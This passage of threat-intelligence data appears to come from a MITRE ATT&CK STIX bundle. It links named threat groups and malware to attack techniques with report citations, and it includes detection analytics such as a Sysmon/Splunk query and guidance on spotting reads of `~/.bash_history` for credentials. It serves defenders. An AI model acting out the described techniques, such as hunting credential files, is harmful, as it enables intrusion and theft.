"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", "description": "Tartare, M. et al. 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Retrieved October 4, 2017.", "source_name": "DarkReading FireEye FIN5 Oct 2015"}, {"url": "https://www.youtube.com/watch?v=fevGZs0EQu8", "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", "source_name": "Mandiant FIN5 GrrCON Oct 2016"}], "modified": "2019-04-24T19:41:25.878Z", "description": "(Citation: DarkReading FireEye FIN5 Oct 2015)(Citation: Mandiant FIN5 GrrCON Oct 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", "target_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dff93811-e9f1-430e-95d3-344a067b2e23", "type": "relationship", "created": "2020-08-07T20:02:10.040Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SentinelOne Lazarus macOS July 2020", "url": "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", "description": "Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple\u2019s macOS Platform. Retrieved August 7, 2020."}, {"source_name": "TrendMicro macOS Dacls May 2020", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/", "description": "Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus\u2019 Multi-Platform Attack Capability. Retrieved August 10, 2020."}], "modified": "2020-08-10T13:14:05.244Z", "description": "[Dacls](https://attack.mitre.org/software/S0497) has had its payload named with a dot prefix to make it hidden from view in the Finder application.(Citation: SentinelOne Lazarus macOS July 2020)(Citation: TrendMicro macOS Dacls May 2020)", "relationship_type": "uses", "source_ref": "malware--3aa169f8-bbf6-44bb-b57d-7f6ada5c2128", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e0033e57-8839-42b9-8515-46e9c7dca966", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", "source_name": "FireEye APT32 May 2017"}], "modified": "2019-07-17T13:11:37.770Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) has used CVE-2016-7255 to escalate privileges.(Citation: FireEye APT32 May 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--e012a6c2-93ea-4f85-9915-6adb85f806e4", "created": "2022-03-30T14:26:51.852Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Adventures of a Keystroke", "url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf", "description": "Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth look into keyloggers on Windows. Retrieved April 27, 2016."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for API calls to SetWindowsHook, GetKeyState, and GetAsyncKeyState (Citation: Adventures of a Keystroke)", "modified": "2022-04-20T13:04:10.198Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e0140710-f03a-4e43-9e87-45926636b377", "type": "relationship", "created": "2021-08-12T15:13:02.514Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Babuk February 2021", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf", "description": "Mundo, A. et al. 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(2020, November 23). TrickBot is Dead. Long Live TrickBot!. Retrieved September 28, 2021.", "url": "https://www.bitdefender.com/blog/labs/trickbot-is-dead-long-live-trickbot/"}, {"source_name": "Bitdefender Trickbot VNC module Whitepaper 2021", "description": "Radu Tudorica. (2021, July 12). A Fresh Look at Trickbot\u2019s Ever-Improving VNC Module. Retrieved September 28, 2021.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/399/Bitdefender-PR-Whitepaper-Trickbot-creat5515-en-EN.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-11-30T22:45:32.496Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) has been known to reach a command and control server via one of nine proxy IP addresses. (Citation: Bitdefender Trickbot C2 infra Nov 2020) (Citation: Bitdefender Trickbot VNC module Whitepaper 2021)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e020ddbe-0d2f-4697-a533-d1ee59971cc0", "created": "2022-03-30T14:26:51.837Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Endurant CMSTP July 2018", "description": "Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.", "url": "http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T20:53:52.950Z", "description": "Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Sysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe\n* Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e0292b89-50c2-4b62-8471-6a1b27dc7fc3", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/", "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", "source_name": "ESET InvisiMole June 2018"}, {"source_name": "ESET InvisiMole June 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}], "modified": "2020-07-20T13:25:54.929Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) gathers the local system time from the victim\u2019s machine.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e02d1cb4-1bb7-49b5-a918-5e0d194974aa", "type": "relationship", "created": "2017-05-31T21:33:27.045Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/the-epic-turla-operation/65545/", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", "source_name": "Kaspersky Turla"}, {"source_name": "Secureworks IRON HUNTER Profile", "url": "http://www.secureworks.com/research/threat-profiles/iron-hunter", "description": "Secureworks CTU. (n.d.). IRON HUNTER. Retrieved February 22, 2022."}], "modified": "2022-02-22T15:46:45.499Z", "description": "(Citation: Kaspersky Turla)(Citation: Secureworks IRON HUNTER Profile)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e0301b36-c339-49c5-b257-9ece19152922", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/", "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", "source_name": "Palo Alto OilRig May 2016"}, {"source_name": "Palo Alto OilRig Oct 2016", "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"}], "modified": "2019-09-04T22:55:41.135Z", "description": "[OilRig](https://attack.mitre.org/groups/G0049) has run <code>ipconfig /all</code> on a victim.(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e039e3d4-2e3d-4e6e-902e-5e1834abe8e4", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint Leviathan Oct 2017", "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"}], "modified": "2021-02-09T15:04:49.224Z", "description": "Some [Orz](https://attack.mitre.org/software/S0229) versions have an embedded DLL known as MockDll that uses process hollowing and [Regsvr32](https://attack.mitre.org/techniques/T1218/010) to execute another payload.(Citation: Proofpoint Leviathan Oct 2017)", "relationship_type": "uses", "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e041070a-ff38-47ee-aebd-8d1bc714231e", "type": "relationship", "created": "2021-02-22T20:10:49.992Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Waterbear December 2019", "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html", "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."}], "modified": "2021-04-24T20:33:05.441Z", "description": "[Waterbear](https://attack.mitre.org/software/S0579) can scramble functions not to be executed again with random values.(Citation: Trend Micro Waterbear December 2019)", "relationship_type": "uses", "source_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb", "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e0495ed2-62d6-4fd7-9c9b-e57d3c99fd9a", "type": "relationship", "created": "2022-03-24T22:31:32.763Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub SILENTTRINITY Modules July 2019", "url": "https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo", "description": "Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}], "modified": "2022-03-24T22:31:32.763Z", "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) can enumerate processes, including properties to determine if they have the Common Language Runtime (CLR) loaded.(Citation: GitHub SILENTTRINITY Modules July 2019)", "relationship_type": "uses", "source_ref": "tool--1244e058-fa10-48cb-b484-0bcf671107ae", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e04dd3e5-9883-4f0a-bf05-b20af89c88f3", "type": "relationship", "created": "2021-07-26T15:09:24.914Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Group IB GrimAgent July 2021", "url": "https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer", "description": "Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved July 16, 2021."}], "modified": "2021-10-15T16:15:20.949Z", "description": "[GrimAgent](https://attack.mitre.org/software/S0632) can delete old binaries on a compromised host.(Citation: Group IB GrimAgent July 2021)", "relationship_type": "uses", "source_ref": "malware--c9b99d03-ff11-4a48-95f0-82660d582c25", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e04e9e57-90e8-44f7-8596-0fc5365360e1", "type": "relationship", "created": "2022-03-30T14:26:51.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.847Z", "description": "Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--70d81154-b187-45f9-8ec5-295d01255979", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e053cb07-3e4d-41a1-85a6-38cd2ac0e6ea", "type": "relationship", "created": "2019-04-17T13:23:24.204Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT33 Guardrail", "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."}], "modified": "2020-03-20T23:00:53.773Z", "description": "[APT33](https://attack.mitre.org/groups/G0064) has used AES for encryption of command and control traffic.(Citation: FireEye APT33 Guardrail)", "relationship_type": "uses", "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--e0566454-eca2-4623-9366-87827c0d3f1b", "created": "2022-06-09T21:23:00.863Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Malwarebytes Saint Bot April 2021", "url": "https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/", "description": "Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Saint Bot](https://attack.mitre.org/software/S1018) can collect the username from a compromised host.(Citation: Malwarebytes Saint Bot April 2021)", "modified": "2022-06-09T21:23:00.863Z", "relationship_type": "uses", "source_ref": "malware--7724581b-06ff-4d2b-b77c-80dc8d53070b", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e062ec0b-3be4-42c6-8dba-7a8a8270bbd9", "created": "2024-02-12T19:47:58.826Z", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Update May 2021", "description": "Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-12T19:47:58.826Z", "description": "[APT5](https://attack.mitre.org/groups/G1023) has cleared the command history on targeted ESXi servers.(Citation: Mandiant Pulse Secure Update May 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9", "target_ref": "attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e068332d-0b1c-4aba-a60f-37c640e20d10", "type": "relationship", "created": "2020-08-12T17:52:48.619Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks IRON LIBERTY July 2019", "url": "https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector", "description": "Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020."}, {"source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"}, {"source_name": "Symantec Dragonfly Sept 2017", "description": "Symantec Security Response. (2014, July 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.", "url": "https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers"}, {"source_name": "Gigamon Berserk Bear October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", "description": "Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE\u2019S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}], "modified": "2021-12-08T19:20:55.829Z", "description": "(Citation: Secureworks IRON LIBERTY July 2019)(Citation: US-CERT TA18-074A)(Citation: Symantec Dragonfly Sept 2017)(Citation: Gigamon Berserk Bear October 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e06dcec4-ccdb-4d49-a98c-62a6b0ba14ad", "type": "relationship", "created": "2022-03-30T14:26:51.874Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.874Z", "description": "Monitor for suspicious file access activity, specifically indications that a process is reading multiple files in a short amount of time and/or using command-line arguments indicative of searching for credential material (ex: regex patterns). These may be indicators of automated/scripted credential access behavior. Monitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like <code>cat ~/.bash_history</code>.", "source_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e07051b0-e563-47bc-907e-67b488068d02", "created": "2022-03-30T14:26:51.868Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T14:12:19.481Z", "description": "Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior. Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Default screen saver files are stored in C:\\Windows\\System32. Use these files as a reference when defining list of not suspicious screen saver files.\n\nAnalytic 1 - Registry Edit from Screensaver\n\n<code>source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode IN (13, 14) TargetObject=\"*\\Software\\Policies\\Microsoft\\Windows\\Control Panel\\Desktop\\SCRNSAVE.EXE\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "target_ref": "attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e071665f-e6a6-4d73-bd09-2c5d93655486", "type": "relationship", "created": "2022-03-30T14:26:51.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.865Z", "description": "Monitor for newly constructed network connections that are sent or received by untrusted hosts. ", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e07acc2b-6a92-423e-85be-a9caed4a8ee6", "type": "relationship", "created": "2020-10-20T00:05:48.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-20T00:05:48.864Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc", "target_ref": "attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e07b76a4-98d7-4adc-b90e-a1f7f2266867", "type": "relationship", "created": "2019-01-30T15:33:07.629Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant APT1", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}], "modified": "2019-08-20T13:08:13.355Z", "description": "[APT1](https://attack.mitre.org/groups/G0006) listed connected network shares.(Citation: Mandiant APT1)", "relationship_type": "uses", "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e07d9070-6989-43e7-aee0-1b18aff1ffbe", "type": "relationship", "created": "2021-01-25T13:58:25.163Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CyberBit Dtrack", "url": "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/", "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}], "modified": "2021-01-25T13:58:25.163Z", "description": "[Dtrack](https://attack.mitre.org/software/S0567) contains a function that calls <code>LoadLibrary</code> and <code>GetProcAddress</code>.(Citation: CyberBit Dtrack)", "relationship_type": "uses", "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e08a510f-65b2-4676-9667-848166ba22b4", "type": "relationship", "created": "2021-06-29T15:23:23.122Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender Naikon April 2021", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", "description": "Vrabie, V. (2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}], "modified": "2021-06-29T15:23:23.122Z", "description": "[RainyDay](https://attack.mitre.org/software/S0629) can use RC4 to encrypt C2 communications.(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "malware--29231689-5837-4a7a-aafc-1b65b3f50cc7", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e08f461a-7ebb-41e8-8e97-9ade8f52e4e2", "created": "2023-12-06T19:20:35.307Z", "revoked": false, "external_references": [{"source_name": "Microsoft Ransomware as a Service", "description": "Microsoft. (2022, May 